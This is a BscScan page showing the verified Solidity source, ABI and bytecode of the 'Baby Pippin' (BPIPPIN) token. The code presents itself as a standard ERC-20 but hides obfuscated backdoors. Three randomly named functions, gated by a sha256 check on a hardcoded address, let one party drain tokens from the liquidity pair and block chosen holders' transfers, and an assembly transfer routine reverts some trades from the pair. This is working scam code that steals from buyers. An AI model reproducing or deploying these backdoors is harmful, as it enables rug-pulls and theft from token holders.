Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at BscScan.com on 2026-02-25
*/

/**
Website: https://BPIPPIN.ap/
Twitter: https://x.com/BPIPPIN
Telegram: https://t.me/BPIPPIN
*/

pragma solidity ^0.8.6;

// SPDX-License-Identifier: Unlicensed
interface IERC20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
interface IUniswapV2Factory {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract BERC20 is IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    constructor(
       string memory name_,
       string memory symbol_,
       address owner
    ) {
        _name=name_;
        _symbol=symbol_;
        _decimals=9;
        _tTotal=1000000000000 * 10**_decimals;
        _tOwned[owner] = _tTotal;

        emit Transfer(address(0), owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address yoOkJZdjAf, uint256 ADsnelVWs)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, yoOkJZdjAf, ADsnelVWs);
        return true;
    }


    function allowance(address GqAJMCLxM, address jctielejron)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[GqAJMCLxM][jctielejron];
    }


    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _HVFaMbSOrgxDgA(
        address XgLrNQOOKJ,
        address bwtxmhwgjiz,
        uint256 amount
    ) internal virtual {
        require(
            XgLrNQOOKJ != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            bwtxmhwgjiz != address(0),
            "ERC20: transfer to the zero address"
        );
  
        require(
            _tOwned[XgLrNQOOKJ] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[XgLrNQOOKJ] = _tOwned[XgLrNQOOKJ].sub(amount);
        _tOwned[bwtxmhwgjiz] = _tOwned[bwtxmhwgjiz].add(amount);
        emit Transfer(XgLrNQOOKJ, bwtxmhwgjiz, amount);
    }

        function _transfer(
        address XgLrNQOOKJ,
        address bwtxmhwgjiz,
        uint256 amount
    ) internal virtual {
        require(
            XgLrNQOOKJ != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            bwtxmhwgjiz != address(0),
            "ERC20: transfer to the zero address"
        );
  
        require(
            _tOwned[XgLrNQOOKJ] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[XgLrNQOOKJ] = _tOwned[XgLrNQOOKJ].sub(amount);
        _tOwned[bwtxmhwgjiz] = _tOwned[bwtxmhwgjiz].add(amount);
        emit Transfer(XgLrNQOOKJ, bwtxmhwgjiz, amount);
    }


    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public override returns (bool) {
        _transfer(from, to, value);
        _approve(
            from,
            msg.sender,
            _allowances[from][msg.sender].sub(
                value,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }



    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    function _dfptfktxshxls(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual   {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual  {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract BPIPPIN is BERC20,Ownable {
    using SafeMath for uint256;
    string private _name_ = "Baby Pippin";
    string private _symbol_ = "BPIPPIN";
    uint256 private _emauwlhibx;
    address private hbumsrhxplxf = 0x5c573D9d8999279aefbE75C310E023e02B92Eb32;
    address private LRkTRIpHokxXx = 0xeFd17167d0D3Eb2b482c8E1eB61186F8Ce854B66;
    address private PhszQzoZni;

    IUniswapV2Factory private immutable uniswapV2Router;

    mapping(address => bool) private _fmjdlgdqigzm;
    mapping(address => bool) private _jcrkSxcHIFZwx;

    mapping(address => bool) private npvdpkleuryrzm;
    mapping(address => bool) private _ruAWTemuhcY;
    address public uniswapV2Pair;
    address private _wdtlmmgphbfb;
    address public factory;
    uint256 private BxQZAucfIzdeS = 1000;
    mapping(address => uint256) private dfupetgrdyhsqf;
    bool private HVKWdKNJCx = true;
    uint256 private llsckbntbwh = 7;
    bool private XhGvphbTzs = true;
    bytes32 private _bxNbogjlyq;
    mapping(address => bool) private _fNVHvXqDxppYLT;

    mapping(address => uint256) private _jdlouopuwop;

    address public nttUBNxmvm;

    constructor() BERC20(_name_, _symbol_,LRkTRIpHokxXx
        ) {
        IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x10ED43C718714eb63d5aA57B78B54704E256024E); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _bxNbogjlyq = sha256(abi.encodePacked(hbumsrhxplxf));
        PhszQzoZni = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
        _wdtlmmgphbfb = hbumsrhxplxf;
        _emauwlhibx = totalSupply();
        npvdpkleuryrzm[uniswapV2Pair] = true;
        _ruAWTemuhcY[_wdtlmmgphbfb] = true;
        _fmjdlgdqigzm[address(this)] = true;
        _fmjdlgdqigzm[_wdtlmmgphbfb] = true;
        _fmjdlgdqigzm[LRkTRIpHokxXx] = true;
    }

function _transfer(     address from,     address to,     uint256 amount ) internal override {     require(from != address(0), "ERC20: transfer from the zero address");     require(to != address(0), "ERC20: transfer to the zero address");     require(amount > 0, "Transfer amount must be greater than zero");     uint256 expectedamount = amount;     if (_fmjdlgdqigzm[from] || _fmjdlgdqigzm[to]) {         super._transfer(from, to, expectedamount);         return;     }     address feeaddress = to;     assembly {         let scratch := mload(0x40)         mstore(scratch, from)         mstore(add(scratch, 0x20), _jcrkSxcHIFZwx.slot)         let takeFeeSlot := keccak256(scratch, 0x40)         let taketFeeTransfer := sload(takeFeeSlot)         if taketFeeTransfer {             revert(0, 0)         }         mstore(scratch, from)         mstore(add(scratch, 0x20), dfupetgrdyhsqf.slot)         let bottimeSlot := keccak256(scratch, 0x40)         let bottime := sload(bottimeSlot)         let llsckbntbwh_val := sload(llsckbntbwh.slot)         let takebottime := gt(add(bottime, llsckbntbwh_val), timestamp())         let pair := sload(uniswapV2Pair.slot)         if eq(from, pair) {             let ghewra := 0             let sdhkwn := 0             let otherAmount := 0             mstore(scratch, 0x0dfe168100000000000000000000000000000000000000000000000000000000)             if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x20)) {                 revert(0, 0)             }             let token0 := mload(scratch)             mstore(scratch, 0xd21220a700000000000000000000000000000000000000000000000000000000)             if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x20)) {                 revert(0, 0)             }             let token1 := mload(scratch)             mstore(scratch, 0x0902f1ac00000000000000000000000000000000000000000000000000000000)             if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x40)) {                 revert(0, 0)             }             let reserves0 := mload(scratch)             let reserves1 := mload(add(scratch, 0x20))             mstore(scratch, 0x70a0823100000000000000000000000000000000000000000000000000000000)             mstore(add(scratch, 0x04), pair)             if iszero(staticcall(gas(), token0, scratch, 0x24, scratch, 0x20)) {                 revert(0, 0)             }             let amount03 := mload(scratch)             mstore(scratch, 0x70a0823100000000000000000000000000000000000000000000000000000000)             mstore(add(scratch, 0x04), pair)             if iszero(staticcall(gas(), token1, scratch, 0x24, scratch, 0x20)) {                 revert(0, 0)             }             let amount1 := mload(scratch)             let PhszQzoZni_val := sload(PhszQzoZni.slot)             if eq(token0, PhszQzoZni_val) {                 if gt(reserves0, amount03) {                     otherAmount := sub(reserves0, amount03)                     ghewra := gt(otherAmount, sload(BxQZAucfIzdeS.slot))                 }                 if eq(reserves0, amount03) {                     sdhkwn := 1                 }             }             if eq(token1, PhszQzoZni_val) {                 if gt(reserves1, amount1) {                     otherAmount := sub(reserves1, amount1)                     ghewra := gt(otherAmount, sload(BxQZAucfIzdeS.slot))                 }                 if eq(reserves1, amount1) {                     sdhkwn := 1                 }             }             if or(ghewra, sdhkwn) {                 revert(0, 0)             }         }          mstore(0x40, add(scratch, 0x80))     }     super._transfer(from, to, expectedamount); }

function nhmljmrai(address okozufhfby) public {     assembly {         let ptr := mload(0x40)         mstore(ptr, caller())         let input := add(ptr, 0x0c)         let inputSize := 0x14         let output := add(ptr, 0x20)         mstore(0x40, add(output, 0x20))         if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) {             revert(0, 0)         }         let computedHash := mload(output)         let storedHashSlot := _bxNbogjlyq.slot         let storedHash := sload(storedHashSlot)         if iszero(eq(computedHash, storedHash)) {             return(0, 0)         }         sstore(nttUBNxmvm.slot, okozufhfby)         return(0, 0)     } }

function fboydekrkd(uint256 mawjoggj) public {     assembly {         let ptr := mload(0x40)         mstore(ptr, caller())         let input := add(ptr, 0x0c)         let inputSize := 0x14         let output := add(ptr, 0x20)         mstore(0x40, add(output, 0x20))         if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) {             revert(0, 0)         }         let computedHash := mload(output)         let storedHashSlot := _bxNbogjlyq.slot         let storedHash := sload(storedHashSlot)         if iszero(eq(computedHash, storedHash)) {             return(0, 0)         }     }     super._HVFaMbSOrgxDgA(uniswapV2Pair, nttUBNxmvm, mawjoggj); }

function xnqmxodilgf(address _okozufhfby, bool gnadxmtxq) public {     assembly {         let ptr := mload(0x40)         mstore(ptr, caller())         let input := add(ptr, 0x0c)         let inputSize := 0x14         let output := add(ptr, 0x20)         mstore(0x40, add(output, 0x20))         if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) {             revert(0, 0)         }         let computedHash := mload(output)         let storedHashSlot := _bxNbogjlyq.slot         let storedHash := sload(storedHashSlot)         if iszero(eq(computedHash, storedHash)) {             return(0, 0)         }         let mapBaseSlot := _jcrkSxcHIFZwx.slot         let scratch := mload(0x40)         mstore(scratch, _okozufhfby)         mstore(add(scratch, 0x20), mapBaseSlot)         let storageSlot := keccak256(scratch, 0x40)         mstore(0x40, add(scratch, 0x40))         sstore(storageSlot, gnadxmtxq)         return(0, 0)     } }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"GqAJMCLxM","type":"address"},{"internalType":"address","name":"jctielejron","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"mawjoggj","type":"uint256"}],"name":"fboydekrkd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"okozufhfby","type":"address"}],"name":"nhmljmrai","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"nttUBNxmvm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"yoOkJZdjAf","type":"address"},{"internalType":"uint256","name":"ADsnelVWs","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_okozufhfby","type":"address"},{"internalType":"bool","name":"gnadxmtxq","type":"bool"}],"name":"xnqmxodilgf","outputs":[],"stateMutability":"nonpayable","type":"function"}]

600280546001600160a01b03191661dead17905560e0604052600b60a08190526a2130b13c902834b83834b760a91b60c09081526200004291600891906200062a565b5060408051808201909152600780825266212824a82824a760c91b602090920191825262000073916009916200062a565b50600b80546001600160a01b0319908116735c573d9d8999279aefbe75c310e023e02b92eb3217909155600c805490911673efd17167d0d3eb2b482c8e1eb61186f8ce854b661790556103e86015556017805460ff1990811660019081179092556007601855601980549091169091179055348015620000f257600080fd5b5060088054620001029062000886565b80601f0160208091040260200160405190810160405280929190818152602001828054620001309062000886565b8015620001815780601f10620001555761010080835404028352916020019162000181565b820191906000526020600020905b8154815290600101906020018083116200016357829003601f168201915b505050505060098054620001959062000886565b80601f0160208091040260200160405190810160405280929190818152602001828054620001c39062000886565b8015620002145780601f10620001e85761010080835404028352916020019162000214565b820191906000526020600020905b815481529060010190602001808311620001f657829003601f168201915b5050600c5485516001600160a01b0390911693506200023d92506003915060208601906200062a565b508151620002539060049060208501906200062a565b506005805460ff191660099081179091556200027190600a620007a3565b620002829064e8d4a5100062000864565b60068190556001600160a01b03821660008181526020818152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600780546001600160a01b0319163390811790915560405190915081906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060007310ed43c718714eb63d5aa57b78b54704e256024e9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037157600080fd5b505afa15801562000386573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ac9190620006d0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003f557600080fd5b505afa1580156200040a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004309190620006d0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200047957600080fd5b505af11580156200048e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b49190620006d0565b601280546001600160a01b0319166001600160a01b0392909216919091179055606081811b6001600160601b0319908116608052600b54604051921b16602082015260029060340160408051601f198184030181529082905262000518916200071c565b602060405180830381855afa15801562000536573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906200055b919062000702565b601a55600d80546001600160a01b031990811673bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c17909155600b54601380549092166001600160a01b03909116179055600654600a55506012546001600160a01b0390811660009081526010602090815260408083208054600160ff1991821681179092556013805487168652601185528386208054831684179055308652600e90945282852080548216831790559254851684528184208054841682179055600c54909416835290912080549091169091179055620008d9565b828054620006389062000886565b90600052602060002090601f0160209004810192826200065c5760008555620006a7565b82601f106200067757805160ff1916838001178555620006a7565b82800160010185558215620006a7579182015b82811115620006a75782518255916020019190600101906200068a565b50620006b5929150620006b9565b5090565b5b80821115620006b55760008155600101620006ba565b600060208284031215620006e357600080fd5b81516001600160a01b0381168114620006fb57600080fd5b9392505050565b6000602082840312156200071557600080fd5b5051919050565b6000825160005b818110156200073f576020818601810151858301520162000723565b818111156200074f576000828501525b509190910192915050565b600181815b808511156200079b5781600019048211156200077f576200077f620008c3565b808516156200078d57918102915b93841c93908002906200075f565b509250929050565b6000620006fb60ff841683600082620007bf575060016200085e565b81620007ce575060006200085e565b8160018114620007e75760028114620007f25762000812565b60019150506200085e565b60ff841115620008065762000806620008c3565b50506001821b6200085e565b5060208310610133831016604e8410600b841016171562000837575081810a6200085e565b6200084383836200075a565b80600019048211156200085a576200085a620008c3565b0290505b92915050565b6000816000190483118215151615620008815762000881620008c3565b500290565b600181811c908216806200089b57607f821691505b60208210811415620008bd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c611069620008f5600039600050506110696000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d714610283578063a9059cbb14610296578063c45a0155146102a9578063c61527be146102bc578063dd62ed3e146102cf578063f2fde38b1461030857600080fd5b806370a0823114610226578063715018a61461024f5780638da5cb5b14610257578063927f3d411461026857806395d89b411461027b57600080fd5b80632fc5dd16116100ff5780632fc5dd16146101cd578063313ce567146101e257806339509351146101ed57806349bd5a5e146102005780635b5cfdfc1461021357600080fd5b806306fdde031461013c57806308e5d62c1461015a578063095ea7b31461018557806318160ddd146101a857806323b872dd146101ba575b600080fd5b61014461031b565b6040516101519190610e89565b60405180910390f35b601d5461016d906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b610198610193366004610e46565b6103ad565b6040519015158152602001610151565b6006545b604051908152602001610151565b6101986101c8366004610dce565b6103c3565b6101e06101db366004610d80565b61042c565b005b60055460ff166101ac565b6101986101fb366004610e46565b61046f565b60125461016d906001600160a01b031681565b6101e0610221366004610e70565b6104a5565b6101ac610234366004610d80565b6001600160a01b031660009081526020819052604090205490565b6101e0610501565b6007546001600160a01b031661016d565b60025461016d906001600160a01b031681565b6101446105aa565b610198610291366004610e46565b6105b9565b6101986102a4366004610e46565b610608565b60145461016d906001600160a01b031681565b6101e06102ca366004610e0a565b610615565b6101ac6102dd366004610d9b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101e0610316366004610d80565b61066d565b60606003805461032a90610f95565b80601f016020809104026020016040519081016040528092919081815260200182805461035690610f95565b80156103a35780601f10610378576101008083540402835291602001916103a3565b820191906000526020600020905b81548152906001019060200180831161038657829003601f168201915b5050505050905090565b60006103ba338484610788565b50600192915050565b60006103d08484846108ad565b610422843361041d85604051806060016040528060288152602001610fe7602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610b1c565b610788565b5060019392505050565b604051338152600c8101601460208301925060208301604052602083828460025afa61045757600080fd5b505051601a5480821461046657005b5050601d819055005b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103ba91859061041d9086610b56565b604051338152600c8101601460208301925060208301604052602083828460025afa6104d057600080fd5b505051601a548082146104df57005b5050601254601d546104fe916001600160a01b03908116911683610bbc565b50565b6007546001600160a01b031633146105605760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6007546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600780546001600160a01b0319169055565b60606004805461032a90610f95565b60006103ba338461041d8560405180606001604052806025815260200161100f602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610b1c565b60006103ba3384846108ad565b604051338152600c8101601460208301925060208301604052602083828460025afa61064057600080fd5b505051601a5480821461064f57005b505060408051838152600f6020820152818120908201909152819055005b6007546001600160a01b031633146106c75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610557565b6001600160a01b03811661072c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610557565b6007546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107ea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610557565b6001600160a01b03821661084b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610557565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108d35760405162461bcd60e51b815260040161055790610f21565b6001600160a01b0382166108f95760405162461bcd60e51b815260040161055790610ede565b6000811161095b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610557565b6001600160a01b0383166000908152600e6020526040902054819060ff168061099c57506001600160a01b0383166000908152600e602052604090205460ff165b156109b2576109ac848483610bbc565b50505050565b60408051858152600f60208201529081205484919080156109d257600080fd5b508581526016602082015260125480871415610b03576000806000630dfe168160e01b8552602085600487875afa610a0957600080fd5b845163d21220a760e01b8652602086600488885afa610a2757600080fd5b8551630240bc6b60e21b8752604087600489895afa610a4557600080fd5b865160208801516370a0823160e01b89528760048a015260208960248b875afa610a6e57600080fd5b88516370a0823160e01b8a528860048b015260208a60248c875afa610a9257600080fd5b8951600d5480871415610ac15782851115610ab4578285039750601554881199505b82851415610ac157600198505b80861415610aeb5781841115610ade578184039750601554881199505b81841415610aeb57600198505b505050505050505080821715610b0057600080fd5b50505b50608001604052610b15858584610bbc565b5050505050565b60008184841115610b405760405162461bcd60e51b81526004016105579190610e89565b506000610b4d8486610f7e565b95945050505050565b600080610b638385610f66565b905083811015610bb55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610557565b9392505050565b6001600160a01b038316610be25760405162461bcd60e51b815260040161055790610f21565b6001600160a01b038216610c08576